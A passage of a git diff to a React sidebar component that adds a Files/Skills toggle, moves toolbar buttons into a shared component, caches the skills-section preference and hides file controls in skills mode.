return render(<FileSidebar onOpenSearch={() => {}} />, { wrapper: TooltipProvider });
}
@@ -229,13 +226,6 @@ describe('FileSidebar project-root Share', () => {
cleanup();
});
- test('the project-root header is marked so right-clicks open the project menu', async () => {
- renderSidebar();
- const header = await screen.findByText('open-knowledge');
- // The header (or an ancestor) carries the right-click-exemption marker.
- expect(header.closest('[data-sidebar-root-context]')).not.toBeNull();
- });
-
test('empty-space menu shows Share and dispatches a root-scope share input', async () => {
const user = userEvent.setup();
renderSidebar();
diff --git a/packages/app/src/components/FileSidebar.tsx b/packages/app/src/components/FileSidebar.tsx
index 5d0e6a3fb..8edd6d4ab 100644
--- a/packages/app/src/components/FileSidebar.tsx
+++ b/packages/app/src/components/FileSidebar.tsx
@@ -12,18 +12,12 @@ import {
SquarePen,
UnfoldVertical,
} from 'lucide-react';
-import {
- type ComponentProps,
- type FC,
- type MouseEventHandler,
- useEffect,
- useRef,
- useState,
-} from 'react';
+import { type FC, type MouseEventHandler, useEffect, useRef, useState } from 'react';
import { ErrorBoundary } from 'react-error-boundary';
import { toast } from 'sonner';
import { ConflictsSection } from '@/components/ConflictsSection';
import { FeedbackCardMount } from '@/components/FeedbackCard';
+import { FilesSkillsToggle } from '@/components/FilesSkillsToggle';
import { FileTree, type FileTreeHandle } from '@/components/FileTree';
import { defaultInitialDir, hasOkPathSegment } from '@/components/file-tree-utils';
import { OpenInAgentEmptySpaceSubmenu } from '@/components/handoff/OpenInAgentEmptySpaceSubmenu';
@@ -36,11 +30,18 @@ import { NavigationHistoryControls } from '@/components/NavigationHistoryControl
import { OnboardingCardMount } from '@/components/OnboardingCard';
import { ProjectSwitcher } from '@/components/ProjectSwitcher';
import { onPillRenderError, SidebarSearchBar } from '@/components/SidebarSearchBar';
+import {
+ SidebarToolbarButton as ToolbarButton,
+ type SidebarToolbarButtonProps as ToolbarButtonProps,
+} from '@/components/SidebarToolbarButton';
import { SkillsSidebarSection } from '@/components/SkillsSidebarSection';
+import {
+ readCachedSkillsSectionVisible,
+ writeCachedSkillsSectionVisible,
+} from '@/components/skills-section-visible-cache';
import { TemplateMenuRows } from '@/components/template-menu-rows';
import { UpdateNotices } from '@/components/UpdateNotices';
import { Button } from '@/components/ui/button';
-import { ButtonGroup } from '@/components/ui/button-group';
import { Collapsible, CollapsibleContent, CollapsibleTrigger } from '@/components/ui/collapsible';
import {
ContextMenu,
@@ -63,7 +64,6 @@ import {
DropdownMenuSeparator,
DropdownMenuTrigger,
} from '@/components/ui/dropdown-menu';
-import { Kbd } from '@/components/ui/kbd';
import {
Sidebar,
SidebarContent,
@@ -94,11 +94,6 @@ import {
emitFileTreeMenuActionRename,
} from '@/lib/file-tree-menu-action-events';
import { VISIBLE_TARGETS } from '@/lib/handoff/targets';
-import {
- formatShortcut,
- formatShortcutLabel,
- type KeyboardShortcutId,
-} from '@/lib/keyboard-shortcuts';
import { subscribeLocalMenuAction } from '@/lib/local-menu-action-bus';
import { ProfilerBoundary } from '@/lib/perf';
import { scheduleClipboardWrite } from '@/lib/share/clipboard-adapter';
@@ -150,79 +145,17 @@ export function FileSidebar({ onOpenSearch }: FileSidebarProps) {
);
}
-interface ToolbarButtonProps extends ComponentProps<typeof Button> {
- icon: FC<ComponentProps<'svg'>>;
- label: string;
- shortcutId?: KeyboardShortcutId;
-}
-
-const TOOLBAR_ICON_CLASS_NAME = "[&_svg:not([class*='size-'])]:size-3.5";
-
-const ToolbarTooltipContent: FC<Pick<ToolbarButtonProps, 'label' | 'shortcutId'>> = ({
- label,
- shortcutId,
-}) => {
- return (
- <TooltipContent>
- <span>{label}</span>
- {shortcutId ? (
- <>
- {' '}
- <Kbd aria-label={formatShortcutLabel(shortcutId)}>{formatShortcut(shortcutId)}</Kbd>
- </>
- ) : null}
- </TooltipContent>
- );
-};
-
-const ToolbarButton: FC<ToolbarButtonProps> = ({
- className,
- icon: Icon,
- label,
- shortcutId,
- ...props
-}) => {
- return (
- <Tooltip>
- <TooltipTrigger asChild>
- <Button
- variant="ghost"
- size="icon-sm"
- aria-label={label}
- className={cn(TOOLBAR_ICON_CLASS_NAME, className)}
- {...props}
- >
- <Icon aria-hidden="true" />
- </Button>
- </TooltipTrigger>
- <ToolbarTooltipContent label={label} shortcutId={shortcutId} />
- </Tooltip>
- );
-};
-
-const ToolbarDropdownTrigger: FC<ToolbarButtonProps> = ({
- className,
- icon: Icon,
- label,
- shortcutId,
- ...props
-}) => {
+const ToolbarDropdownTrigger: FC<ToolbarButtonProps> = ({ icon: Icon, label, ...props }) => {
return (
<Tooltip>
<TooltipTrigger asChild>
<DropdownMenuTrigger asChild>
- <Button
- variant="ghost"
- size="icon-sm"
- aria-label={label}
- className={cn(TOOLBAR_ICON_CLASS_NAME, className)}
- {...props}
- >
+ <Button variant="ghost" size="icon-sm" aria-label={label} {...props}>
<Icon aria-hidden="true" />
</Button>
</DropdownMenuTrigger>
</TooltipTrigger>
- <ToolbarTooltipContent label={label} shortcutId={shortcutId} />
+ <TooltipContent>{label}</TooltipContent>
</Tooltip>
);
};
@@ -252,7 +185,10 @@ function FileSidebarInner({ onOpenSearch }: FileSidebarProps) {
// state-aware items (Duplicate / Rename / Move to Trash / Reveal in Finder / Send to
// AI / Copy path) — each `onMenuAction` case below reads it to know
// which doc / folder / asset / project the user picked.
- const { activeDocName, activeTarget } = useDocumentContext();
+ // `skillFocused` is the resolved active surface (explicit toggle ?? autofollow
+ // the open doc) — computed once in DocumentContext so the sidebar navigator and
+ // the editor tab-strip mode filter always agree.
+ const { activeDocName, activeTarget, skillFocused } = useDocumentContext();
// The active item's folder is the default create parent — but clicking the
// tree's empty space "deselects" for creation purposes (FileTree owns that
// state; `treeCreationCleared` mirrors it below), routing New file / New
@@ -274,10 +210,10 @@ function FileSidebarInner({ onOpenSearch }: FileSidebarProps) {
// Detection idiom matches OpenInAgentMenu / FileTree / EditorHeader. In
// Electron mode the SidebarFooter's ProjectSwitcher already carries the
- // project's contextual identity, so the SidebarHeader stays minimal —
- // navigation on the right and draggable traffic-light space on the left.
- // Web mode keeps the 'Files' section label since there's no ProjectSwitcher
- // and no chrome row to anchor against.
+ // project's contextual identity, so the SidebarHeader stays minimal — just
+ // action buttons on the right, draggable empty space on the left where the
+ // traffic lights sit. Web mode keeps the 'Files' section label since there's
+ // no ProjectSwitcher and no chrome row to anchor against.
const isElectronHost = typeof window !== 'undefined' && window.okDesktop != null;
// Collapsed sidebar = focus mode: hide the section label so the chrome row
@@ -290,7 +226,7 @@ function FileSidebarInner({ onOpenSearch }: FileSidebarProps) {
const isExpanded = sidebarState === 'expanded';
const isCollapsed = sidebarState === 'collapsed';
// Single source of truth for the chrome-row opacity gate. Driving both
- // the SidebarHeader's navigation row AND the sibling pill row off the same
+ // the SidebarHeader's toolbar row AND the sibling pill row off the same
// boolean makes the lockstep-fade invariant a structural property
// (one variable, two consumers) instead of a copy-paste relationship
// between the two className blocks. A refactor that wraps one row in
@@ -396,16 +332,15 @@ function FileSidebarInner({ onOpenSearch }: FileSidebarProps) {
// Widely Available since March 2020).
const bridge = typeof window !== 'undefined' ? window.okDesktop : undefined;
const workspace = useWorkspace();
- // Gates the project-root menu's Share item — only shown with a GitHub remote.
- const { status: gitSyncStatus } = useGitSyncStatusDetailed();
- const hasRemote = gitSyncStatus?.hasRemote === true;
- // The files section is headed by the project name (matching the Skills
- // section's labeled header) — desktop carries it on the bridge config; web
- // falls back to the contentDir's leaf folder.
+ // The section is headed by the project name — desktop carries it on the
+ // bridge config; web falls back to the contentDir's leaf folder.
const projectName =
bridge?.config?.projectName ||
workspace?.contentDir.split('/').filter(Boolean).pop() ||
t`Files`;
+ // Gates the project-root menu's Share item — only shown with a GitHub remote.
+ const { status: gitSyncStatus } = useGitSyncStatusDetailed();
+ const hasRemote = gitSyncStatus?.hasRemote === true;
const handoffInstallStates = useInstalledAgents().states;
const { dispatch: dispatchHandoff } = useHandoffDispatch();
const emptySpaceHandoffInput = buildProjectScopedHandoffInput({ workspace });
@@ -413,7 +348,22 @@ function FileSidebarInner({ onOpenSearch }: FileSidebarProps) {
const showHiddenFiles = merged?.appearance?.sidebar?.showHiddenFiles ?? false;
const showOkFolders = merged?.appearance?.sidebar?.showOkFolders ?? false;
const showOnlyMarkdownFiles = merged?.appearance?.sidebar?.showOnlyMarkdownFiles ?? false;
- const showSkillsSection = merged?.appearance?.sidebar?.showSkillsSection ?? true;
+ // Until the config CRDT syncs after a reload, `showSkillsSection` is undefined.
+ // Fall back to the last explicitly-stored value (localStorage mirror) before
+ // `?? true`, so the Files/Skills switcher doesn't flash-then-hide for anyone
+ // who has the section turned off. Persist the authoritative value
+ // once the config carries one so the next reload is flash-free.
+ const configSkillsSection = merged?.appearance?.sidebar?.showSkillsSection;
+ const showSkillsSection = configSkillsSection ?? readCachedSkillsSectionVisible() ?? true;
+ useEffect(() => {
+ if (configSkillsSection !== undefined) writeCachedSkillsSectionVisible(configSkillsSection);
+ }, [configSkillsSection]);
+ // The Skills view is the WHOLE sidebar only when a skill is focused AND the
+ // section is shown. With the section hidden by preference, a skill-focused
+ // surface falls back to the Files tree (never a blank sidebar),
+ // so the file-tree controls, empty-space menu, and file/skill create toolbar
+ // all key off this derived flag rather than `skillFocused` alone.
+ const skillsViewActive = skillFocused && showSkillsSection;
// Smart-hide gates for the Expand/Collapse-all tree-state items, shared by
// the toolbar popover, the empty-space menu, and the native View menu (via
// the IPC push below): hide when the action would be a no-op (no folders at
@@ -437,9 +387,25 @@ function FileSidebarInner({ onOpenSearch }: FileSidebarProps) {
// the event target is a button-like control, suppress both the browser
// default menu and Radix's ContextMenuTrigger from firing.
const handleSidebarSurfaceContextMenu: MouseEventHandler<HTMLDivElement> = (event) => {
- // Let the project-root header through (it's a button) so its right-click
- // opens the project-scoped menu instead of being suppressed.
- if (event.target instanceof Element && event.target.closest('[data-sidebar-root-context]')) {
+ // Skills mode has no file tree, so the file-scoped empty-space menu (New
+ // file/folder/template, …) doesn't apply and its actions are no-ops here —
+ // suppress it entirely. `preventDefault` makes Radix's ContextMenuTrigger
+ // skip opening (composeEventHandlers checks `defaultPrevented`). Skills get
+ // their create/import actions from the scope-header 3-dot and their per-row
+ // actions from the Pierre tree's own context menu.
+ if (skillsViewActive) {
+ event.preventDefault();
+ event.stopPropagation();
+ return;
+ }
+ // The project-root header is deliberately right-clickable: it opens the
+ // project-scoped menu. It is also a CollapsibleTrigger, which Radix renders
+ // as a <button> — so without this opt-out the interactive-control check
+ // below swallows it and the menu never opens.
+ if (
+ event.target instanceof Element &&
+ event.target.closest('[data-sidebar-root-context]') !== null
+ ) {
return;
}
if (isInteractiveSidebarControl(event.target)) {
@@ -627,7 +593,7 @@ function FileSidebarInner({ onOpenSearch }: FileSidebarProps) {
return;
}
case 'move-to-trash': {
- // FileTree owns the 2-step delete spine; surface the
+ // FileTree owns the two-step confirm-then-delete spine; surface the
// request via the documents-events bus the row context menu also
// feeds. Same payload shape as the sidebar's right-click Delete.
if (!activeTarget || isOkManagedTarget) return;
@@ -648,8 +614,8 @@ function FileSidebarInner({ onOpenSearch }: FileSidebarProps) {
// not on each menu pick, so the dispatch reuses the active scope's
// input. No-op when the input doesn't resolve (e.g. workspace not
// yet loaded). We pick the FIRST installed agent as the default
- // dispatch target when
- // exactly one agent is installed; with multiple installed agents
+ // dispatch target — same default the single-agent handoff menu uses —
+ // when exactly one agent is installed; with multiple installed agents
// the renderer surfaces a picker (deferred to a follow-up; for now
// the menu click logs the scoped input for diagnostic visibility).
//
@@ -800,32 +766,45 @@ function FileSidebarInner({ onOpenSearch }: FileSidebarProps) {
data-electron-drag={isElectronHost ? '' : undefined}
className={cn(
// h-12 matches EditorHeader's height so the OS traffic lights are
- // vertically centered with both chrome rows (same midline at y=24px).
+ // vertically centered with BOTH toolbars (same midline at y=24px).
// Without this, the SidebarHeader's natural shorter height puts
- // its navigation icons above the EditorHeader's row, and no
+ // its action icons above the EditorHeader's row, and no
// trafficLightPosition can align with both at once.
//
- // `py-0 px-3` overrides the primitive's inherited `p-2` (8px all
+ // `py-0` overrides the primitive's inherited `p-2` (8px all
// sides). EditorHeader is `h-12` with NO outer padding (only
// `px-3` on inner zones), so content centers in the full 48px.
- // Without these overrides, the SidebarHeader's content area is
+ // Without this override, the SidebarHeader's content area is
// 32px (48 - 16 vertical padding), and at certain icon sizes the
// resulting items-center math drifts a couple pixels off from
- // EditorHeader's content midline. `px-3` keeps the inner edge
- // gutter consistent with the EditorHeader zones (no behavioral
- // change since `justify-end` / `justify-between` already control
- // horizontal layout).
- 'flex-row h-12 items-center py-0 px-3',
- // Expanded Electron mode has only history navigation in the
- // header (ProjectSwitcher in the footer carries identity).
- // `justify-between` pins the traffic-light reserve left and the
- // navigation pair right, keeping its clearance structural.
- // Web mode contains only the 'Files' label.
+ // EditorHeader's content midline.
+ //
+ // The horizontal gutters are asymmetric on purpose. `pl-3`
+ // matches EditorHeader's zone inset. `pr-2` (8px) aligns the
+ // action cluster's right edge with everything stacked beneath it
+ // in the sidebar — the search button (the pill row is `px-2`) and
+ // the tree rows (Pierre's `--trees-padding-inline-override:
+ // 0.5rem`). One right-edge column for the whole sidebar reads
+ // stronger than mirroring EditorHeader's 12px gutter across the
+ // divider, which would leave the arrows 4px off the search icon
+ // directly below them.
+ 'flex-row h-12 items-center py-0 pl-3 pr-2',
+ // Electron mode has only the action buttons in the header (no
+ // 'Files' label, no project name — ProjectSwitcher in the footer
+ // carries project identity). `justify-between` pins a
+ // non-shrinkable traffic-light reserve (the spacer rendered
+ // below) to the left and the action cluster to the right, so the
+ // cluster sits AFTER the macOS traffic-light region regardless of
+ // how many buttons it holds — the clearance is structural, not a
+ // function of MIN_SIDEBAR_WIDTH tuning. `overflow-x-clip` makes an
+ // over-budget cluster degrade by clipping toward the sidebar
+ // interior instead of sliding left under the OS chrome. Web mode
+ // keeps the same spread: 'Files' label flush left, actions right.
'justify-between',
isElectronHost && 'overflow-x-clip',
// Fade the header content out when the sidebar starts collapsing
// offcanvas. The shadcn primitive slides the entire sidebar left
- // over 200ms; without an opacity gate the navigation icons would
+ // over 200ms; without an opacity gate the action icons would
// visibly cross UNDER the OS-level traffic lights mid-slide
// (renderer content always sits beneath the OS chrome).
//
@@ -870,9 +849,10 @@ function FileSidebarInner({ onOpenSearch }: FileSidebarProps) {
>
{isElectronHost ? (
// Non-shrinkable macOS traffic-light reserve. With the header's
- // `justify-between` this holds the left edge so the navigation
- // pair cannot extend under the OS traffic lights — the clearance
- // is structural rather than relying on the
+ // `justify-between` this holds the left edge so the action
+ // cluster can never extend under the OS traffic lights, no matter
+ // the button count or how narrow the sidebar is dragged — the
+ // clearance is structural rather than relying on the
// MIN_SIDEBAR_WIDTH tuning in `ui/sidebar.tsx`. Decorative and
// draggable (inherits the header drag region); width is the
// shared `--ok-titlebar-reserve-left` token.
@@ -887,6 +867,8 @@ function FileSidebarInner({ onOpenSearch }: FileSidebarProps) {
<Trans>Files</Trans>
</span>
) : null}
+ {/* Back/forward history. Desktop-only: the browser's own controls
+ already do this on web, so a second pair would be redundant. */}
{isElectronHost && isExpanded ? <NavigationHistoryControls /> : null}
</SidebarHeader>
{/*
@@ -895,7 +877,7 @@ function FileSidebarInner({ onOpenSearch }: FileSidebarProps) {
* defensive — the sibling itself does NOT opt into drag like
* SidebarHeader does, but the explicit opt-out survives a future
* refactor that might place the row inside a drag region. Opacity
- * fades in lockstep with the header navigation so neither row visibly
+ * fades in lockstep with the toolbar so neither row visibly
* orphans under the macOS traffic-light region mid-slide.
*
* ErrorBoundary scope is intentionally tight: a pill render-throw
@@ -941,17 +923,16 @@ function FileSidebarInner({ onOpenSearch }: FileSidebarProps) {
*/}
<div
className={cn(
- // 8px horizontal padding so the pill's left/right edges align
- // with the FileTree rows underneath. Pierre Trees applies
+ // 8px horizontal padding so the row's left edge aligns with the
+ // FileTree rows underneath. Pierre Trees applies
// `--trees-padding-inline-override: 0.5rem` (= 8px) on its
// container, so tree-row content sits at x = sidebar-left + 8.
- // Matching `px-2` here makes the pill's outer border land on
- // the same vertical line as the tree icons — visual continuity
- // between the chrome-row pill and the rows directly below it.
- // (The SidebarHeader above keeps `px-3` for its own reason —
- // aligning with EditorHeader's gutter — and is unrelated to
- // tree-row alignment.)
- 'px-2 pb-2',
+ // Matching `px-2` here lands the Files/Skills toggle on the same
+ // vertical line as the tree icons — visual continuity between the
+ // chrome row and the rows directly below it. (The SidebarHeader
+ // above keeps `px-3` for its own reason — aligning with
+ // EditorHeader's gutter — and is unrelated to tree-row alignment.)
+ 'flex items-center gap-2 px-2 pb-0.5',
isElectronHost && '[-webkit-app-region:no-drag]',
isElectronHost &&
'motion-safe:transition-opacity motion-safe:duration-100 motion-safe:ease-out',
@@ -959,193 +940,240 @@ function FileSidebarInner({ onOpenSearch }: FileSidebarProps) {
shouldFadeChrome && 'opacity-0',
)}
>
+ {/* Files/Skills switch shares the row with search. Gated on the
+ same view preference that gates the Skills section below, so
+ hiding Skills also hides the way to reach it; when off, search
+ is the row's only occupant (still right-aligned via ml-auto). */}
+ {showSkillsSection ? (
+ <FilesSkillsToggle active={skillFocused ? 'skills' : 'files'} />
+ ) : null}
<ErrorBoundary
fallbackRender={() => null}
onError={onPillRenderError}
resetKeys={[sidebarState]}
>
- <SidebarSearchBar onClick={onOpenSearch} />
+ <SidebarSearchBar onClick={onOpenSearch} className="ml-auto" />
</ErrorBoundary>
</div>
<SidebarContent>
<ConflictsSection />
{/* Project files, under a collapsible header named for the project
- — a true peer to the Skills section below it. The content pane
+ — a true peer to the Skills section above it. The content pane
is sized to the tree's measured content height (capped at 70vh),
so a short tree sits flush above Skills (no bottom-dock) and a
long tree virtualizes + scrolls internally; SidebarContent
scrolls both sections together. `50vh` is the bootstrap height
before the first measurement lands. */}
- <Collapsible defaultOpen className="group/files flex shrink-0 flex-col">
- {/* SidebarGroup wrapper matches the Skills section so the two
- headers + their content share the same gutter alignment.
- `px-0` overrides the base `p-2`'s horizontal inset — the
- header's own `px-2` (below) and Pierre's
- `--trees-padding-inline-override` (file-tree-density.ts)
- already each land at 8px, so stacking the group's own 8px
- on top would double it to 16px. */}
- <SidebarGroup className="min-h-0 px-0">
- <SidebarGroupLabel className="shrink-0 gap-1">
- <CollapsibleTrigger
- // Marks the project-root header so right-click opens the project-scoped menu.
- data-sidebar-root-context
- className="flex min-w-0 flex-1 items-center gap-1.5"
- >
- <FolderOpen className="size-3.5 shrink-0" />
- <span className="truncate">{projectName}</span>
- <ChevronRight className="size-3.5 shrink-0 text-muted-foreground transition-transform group-data-[state=open]/files:rotate-90" />
- </CollapsibleTrigger>
- <ButtonGroup
- aria-label={t`Files toolbar`}
- data-testid="sidebar-toolbar"
- className={cn(isElectronHost && '*:[-webkit-app-region:no-drag]')}
- >
- {/*
- * Tree view options uses DropdownMenu (click-to-open). The
- * earlier hover-to-open HoverCard shape was unreachable from
- * keyboard and touch: Radix HoverCard's content root forcibly
- * sets `tabindex="-1"` on every tabbable descendant
- * (@radix-ui/react-hover-card@dist/index.mjs:172-177), and
- * hover cannot be triggered from keyboard/AT/touch at all. A
- * DropdownMenu opens on click/Enter/Space, routes arrow-key
- * focus between items, and is the shadcn-standard pattern
- * for toolbar menus.
- *
- * The trigger is always visible: the Show group is state-
- * independent, so the menu always has content. The Expand/
- * Collapse-all commands smart-hide individually when their
- * action would no-op (no folders; every folder already
- * expanded / collapsed), taking their separator with them.
- */}
- <DropdownMenu>
- <ToolbarDropdownTrigger icon={ListCollapse} label={t`Tree view options`} />
- <DropdownMenuContent
- align="end"
- className="min-w-52"
- data-testid="tree-options-menu"
- >
- {showExpandAll ? (
- <DropdownMenuItem onSelect={() => tree?.expandAll()}>
- <UnfoldVertical aria-hidden="true" />
- <Trans>Expand all</Trans>
- </DropdownMenuItem>
- ) : null}
- {showCollapseAll ? (
- <DropdownMenuItem onSelect={() => tree?.collapseAll()}>
- <FoldVertical aria-hidden="true" />
- <Trans>Collapse all</Trans>
- </DropdownMenuItem>
- ) : null}
- {showTreeStateSection ? <DropdownMenuSeparator /> : null}
- {/* Labeled `role="group"` so assistive tech announces the
- section; the visual DropdownMenuLabel alone is skipped
- by arrow-key menu navigation. Items read group-relative
- ("Hidden files") because the label carries the "Show";
- the unsectioned menu surfaces use the full-form labels. */}
- <DropdownMenuGroup aria-label={t`Show`}>
- <DropdownMenuLabel>
- <Trans>Show</Trans>
- </DropdownMenuLabel>
- <DropdownMenuCheckboxItem
- checked={showHiddenFiles}
- onCheckedChange={(checked) =>
- patchSidebarVisibility({ showHiddenFiles: checked })
- }
- disabled={projectLocalBinding === null}
- data-testid="tree-options-show-hidden-files"
- >
- <Trans>Hidden files</Trans>
- </DropdownMenuCheckboxItem>
- <DropdownMenuCheckboxItem
- checked={showOkFolders}
- onCheckedChange={(checked) =>
- patchSidebarVisibility({ showOkFolders: checked })
- }
- disabled={projectLocalBinding === null}
- data-testid="tree-options-show-ok-folders"
- >
- <Trans>.ok folders</Trans>
- </DropdownMenuCheckboxItem>
- <DropdownMenuCheckboxItem
- checked={showOnlyMarkdownFiles}
- onCheckedChange={(checked) =>
- patchSidebarVisibility({ showOnlyMarkdownFiles: checked })
- }
- disabled={projectLocalBinding === null}
- data-testid="tree-options-show-only-markdown-files"
- >
- <Trans>Only markdown files</Trans>
- </DropdownMenuCheckboxItem>
- <DropdownMenuCheckboxItem
- checked={showSkillsSection}
- onCheckedChange={(checked) =>
- patchSidebarVisibility({ showSkillsSection: checked })
- }
- disabled={projectLocalBinding === null}
- data-testid="tree-options-show-skills"
- >
- <Trans>Skills</Trans>
- </DropdownMenuCheckboxItem>
- </DropdownMenuGroup>
- </DropdownMenuContent>
- </DropdownMenu>
- <ToolbarButton
- icon={SquarePen}
- label={t`New file`}
- onClick={() => tree?.startCreating('file', initialCreateDir)}
- shortcutId="new-item"
- />
- {activeFolderHasTemplates ? (
- // Toolbar opens templates on click (not hover): a hover-only
- // flyout off an icon button isn't keyboard/touch reachable.
- // Mirrors the Tree view options dropdown above. Picking a
- // template runs the same inline-rename create flow as New file.
- <DropdownMenu>
- <ToolbarDropdownTrigger icon={FilePlus} label={t`New from template`} />
- <DropdownMenuContent
- align="end"
- className="min-w-52"
- onCloseAutoFocus={handleCreateMenuCloseAutoFocus}
- >
- <TemplateMenuRows
- parentDir={initialCreateDir}
- onSelectTemplate={(templateName) => {
- suppressCreateMenuFocusRestoreRef.current = true;
- tree?.createFromTemplate(initialCreateDir, templateName);
- }}
- ItemComponent={DropdownMenuItem}
- />
- </DropdownMenuContent>
- </DropdownMenu>
- ) : null}
- <ToolbarButton
- icon={FolderPlus}
- label={t`New folder`}
- onClick={() => tree?.startCreating('folder', initialCreateDir)}
- shortcutId={isElectronHost ? 'new-folder' : undefined}
- />
- </ButtonGroup>
- </SidebarGroupLabel>
- <CollapsibleContent
- className="flex max-h-[70vh] flex-col overflow-hidden"
- style={{
- // Sized flush to the tree's measured content height so the
- // Skills section sits directly beneath the files with no
- // gap; `max-h-[70vh]` caps it so a long tree virtualizes +
- // scrolls instead. The deselect-to-root hit target moved to
- // the empty filler below (a flush tree leaves no empty space
- // of its own to click).
- height: treeContentHeight != null ? `${treeContentHeight}px` : '50vh',
- }}
- >
- <FileTree ref={setTree} onContentHeightChange={setTreeContentHeight} />
- </CollapsibleContent>
- </SidebarGroup>
- </Collapsible>
+ {/* Skills sits ABOVE the project files. */}
{/* View-preference gate on the section render only: with the
section hidden, skill docs stay reachable (links, search,
direct routes) and open with full editor chrome. */}
- {showSkillsSection ? <SkillsSidebarSection /> : null}
+ {showSkillsSection ? <SkillsSidebarSection skillsMode={skillFocused} /> : null}
+ {/* Files falls back whenever the Skills section ISN'T the sidebar:
+ when not skill-focused, OR when a skill IS focused but the
+ section is hidden by preference. Without the `showSkillsSection`
+ guard here, focusing a skill with the section hidden rendered
+ neither branch — a blank sidebar, and a read-only skill with
+ no sidebar at all. */}
+ {skillsViewActive ? null : (
+ // `px-0` overrides the SidebarGroup base `p-2`'s horizontal
+ // inset — Pierre's `--trees-padding-inline-override`
+ // (file-tree-density.ts) already lands the rows at 8px.
+ <Collapsible defaultOpen className="group/files flex shrink-0 flex-col">
+ <SidebarGroup className="min-h-0 px-0">
+ {/* Overarching project row. The create/view actions sit inline
+ with the folder they act on rather than in the window
+ chrome, so it reads as "this folder, these actions" — and
+ the header is left to back/forward, which are global. */}
+ <SidebarGroupLabel className="shrink-0 gap-1">
+ <CollapsibleTrigger
+ // Marks the project-root header so right-click opens the
+ // project-scoped menu.
+ data-sidebar-root-context
+ className="flex min-w-0 flex-1 items-center gap-1.5"
+ >
+ <ChevronRight className="size-4 shrink-0 text-tree-muted transition-transform group-data-[state=open]/files:rotate-90" />
+ <span className="truncate text-sm font-normal text-muted-foreground">
+ {projectName}
+ </span>
+ </CollapsibleTrigger>
+ {/* biome-ignore lint/a11y/useSemanticElements: same call as ui/button-group — a toolbar cluster is not a form-control set, so the semantic alternative would impose form-field semantics and chrome. */}
+ <div
+ // Named group, not a bare div: the redesign swapped
+ // ButtonGroup (which supplied both) for layout classes
+ // and the toolbar lost its accessible name with it.
+ role="group"
+ aria-label={t`Files toolbar`}
+ data-testid="sidebar-toolbar"
+ className={cn(
+ 'flex items-center gap-0.5',
+ // Direct-child no-drag opt-out so each toolbar button keeps
+ // firing its click handler instead of initiating a window
+ // drag — same [&>*] pattern as EditorHeader's right zone.
+ // The DropdownMenuTrigger renders via Radix `asChild` so
+ // its single direct DOM child (the Button) receives the
+ // no-drag class.
+ isElectronHost && '[&>*]:[-webkit-app-region:no-drag]',
+ )}
+ >
+ {/*
+ * Tree view options uses DropdownMenu (click-to-open). The
+ * earlier hover-to-open HoverCard shape was unreachable from
+ * keyboard and touch: Radix HoverCard's content root forcibly
+ * sets `tabindex="-1"` on every tabbable descendant
+ * (@radix-ui/react-hover-card@dist/index.mjs:172-177), and
+ * hover cannot be triggered from keyboard/AT/touch at all. A
+ * DropdownMenu opens on click/Enter/Space, routes arrow-key
+ * focus between items, and is the shadcn-standard pattern
+ * for toolbar menus.
+ *
+ * The trigger is always visible: the Show group is state-
+ * independent, so the menu always has content. The Expand/
+ * Collapse-all commands smart-hide individually when their
+ * action would no-op (no folders; every folder already
+ * expanded / collapsed), taking their separator with them.
+ */}
+ {/* All creation/tree controls act on the file tree, which is
+ unmounted in Skills view — hide them there so they aren't
+ dead buttons. New-skill lives in the Skills hub header. */}
+ {!skillsViewActive ? (
+ <DropdownMenu>
+ <ToolbarDropdownTrigger
+ icon={ListCollapse}
+ label={t`Tree view options`}
+ />
+ <DropdownMenuContent
+ align="end"
+ className="min-w-52"
+ data-testid="tree-options-menu"
+ >
+ {showExpandAll ? (
+ <DropdownMenuItem onSelect={() => tree?.expandAll()}>
+ <UnfoldVertical aria-hidden="true" />
+ <Trans>Expand all</Trans>
+ </DropdownMenuItem>
+ ) : null}
+ {showCollapseAll ? (
+ <DropdownMenuItem onSelect={() => tree?.collapseAll()}>
+ <FoldVertical aria-hidden="true" />
+ <Trans>Collapse all</Trans>
+ </DropdownMenuItem>
+ ) : null}
+ {showTreeStateSection ? <DropdownMenuSeparator /> : null}
+ {/* Labeled `role="group"` so assistive tech announces the
+ section; the visual DropdownMenuLabel alone is skipped
+ by arrow-key menu navigation. Items read group-relative
+ ("Hidden files") because the label carries the "Show";
+ the unsectioned menu surfaces use the full-form labels. */}
+ <DropdownMenuGroup aria-label={t`Show`}>
+ <DropdownMenuLabel>
+ <Trans>Show</Trans>
+ </DropdownMenuLabel>
+ <DropdownMenuCheckboxItem
+ checked={showHiddenFiles}
+ onCheckedChange={(checked) =>
+ patchSidebarVisibility({ showHiddenFiles: checked })
+ }
+ disabled={projectLocalBinding === null}
+ data-testid="tree-options-show-hidden-files"
+ >
+ <Trans>Hidden files</Trans>
+ </DropdownMenuCheckboxItem>
+ <DropdownMenuCheckboxItem
+ checked={showOkFolders}
+ onCheckedChange={(checked) =>
+ patchSidebarVisibility({ showOkFolders: checked })
+ }
+ disabled={projectLocalBinding === null}
+ data-testid="tree-options-show-ok-folders"
+ >
+ <Trans>.ok folders</Trans>
+ </DropdownMenuCheckboxItem>
+ <DropdownMenuCheckboxItem
+ checked={showOnlyMarkdownFiles}
+ onCheckedChange={(checked) =>
+ patchSidebarVisibility({ showOnlyMarkdownFiles: checked })
+ }
+ disabled={projectLocalBinding === null}
+ data-testid="tree-options-show-only-markdown-files"
+ >
+ <Trans>Only markdown files</Trans>
+ </DropdownMenuCheckboxItem>
+ <DropdownMenuCheckboxItem
+ checked={showSkillsSection}
+ onCheckedChange={(checked) =>
+ patchSidebarVisibility({ showSkillsSection: checked })
+ }
+ disabled={projectLocalBinding === null}
+ data-testid="tree-options-show-skills"
+ >
+ <Trans>Skills</Trans>
+ </DropdownMenuCheckboxItem>
+ </DropdownMenuGroup>
+ </DropdownMenuContent>
+ </DropdownMenu>
+ ) : null}
+ {!skillsViewActive ? (
+ <ToolbarButton
+ icon={SquarePen}
+ label={t`New file`}
+ onClick={() => tree?.startCreating('file', initialCreateDir)}
+ shortcutId="new-item"
+ />
+ ) : null}
+ {!skillsViewActive && activeFolderHasTemplates ? (
+ // Toolbar opens templates on click (not hover): a hover-only
+ // flyout off an icon button isn't keyboard/touch reachable.
+ // Mirrors the Tree view options dropdown above. Picking a
+ // template runs the same inline-rename create flow as New file.
+ <DropdownMenu>
+ <ToolbarDropdownTrigger icon={FilePlus} label={t`New from template`} />
+ <DropdownMenuContent
+ align="end"
+ className="min-w-52"
+ onCloseAutoFocus={handleCreateMenuCloseAutoFocus}
+ >
+ <TemplateMenuRows
+ parentDir={initialCreateDir}
+ onSelectTemplate={(templateName) => {
